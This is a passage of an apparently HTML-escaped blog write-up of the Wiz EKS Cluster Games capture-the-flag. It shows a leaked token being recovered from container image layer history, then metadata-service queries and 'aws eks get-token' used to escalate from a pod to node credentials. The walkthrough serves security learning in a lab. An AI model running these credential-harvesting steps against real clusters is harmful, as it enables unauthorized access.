data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop)  CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"os\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"rootfs\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"diff_ids\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like they made the same mistake again and leaked the secret in the image\nlayers!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} \u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eTime for challenge 4!\u003c/p\u003e\n\u003ch1\u003eChallenge 4\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYou're inside a vulnerable pod on an EKS cluster. Your pod's service-account has\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eno permissions. Can you navigate your way to access the EKS Node's privileged\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eservice-account?\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis sounds like we're going to need to escalate our privileges through the AWS\naccess we acquired in the last challenge. Lets start with inspecting the\nenvironment again:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eError\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eserver\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (Forbidden): pods is forbidden: User \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"system:serviceaccount:challenge4:service-account-challenge4\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e cannot list resource \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"pods\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e API group \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e the namespace \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge4\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we don't even have access to list pods!   Do we have any access?\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/.well-known/openid-configuration]   []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]                                []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]                               []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openid/v1/jwks]                     []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                                    [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThat is \u003cem\u003every\u003c/em\u003e minimal access. So we are going to have to try get a token using\nthe escalated privileges.  Usually we could use \u003ccode\u003eaws eks get-token\u003c/code\u003e but that\nrequires knowing the cluster name and I don't know that.   Lets try to list the\nclusters:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeks\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist-clusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (AccessDeniedException) when calling the ListClusters operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:ListClusters on resource: arn:aws:eks:us-west-1:688655246681:cluster/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo they haven't given us much to go on at all here.  The role itself \u003cem\u003emight\u003c/em\u003e be\na clue but that is relying on them being consistent with their naming:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003earn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe cluster name \u003cem\u003emight\u003c/em\u003e be \u003ccode\u003eeks-challenge-cluster\u003c/code\u003e based on that but I can't\nguarantee that. Lets check its security groups:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-sS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp://169.254.169.254/latest/meta-data/security-groups\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e;\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eecho\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeks-cluster-sg-eks-challenge-cluster-963543728\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe name is there again.  I don't feel good about not having more details but it\nis at least worth trying it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeks\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--cluster-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeks-challenge-cluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ExecCredential\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"client.authentication.k8s.io/v1beta1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"spec\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"status\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"expirationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-03T03:38:10Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"token\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYX\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis gets us a token, so lets try to use it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" 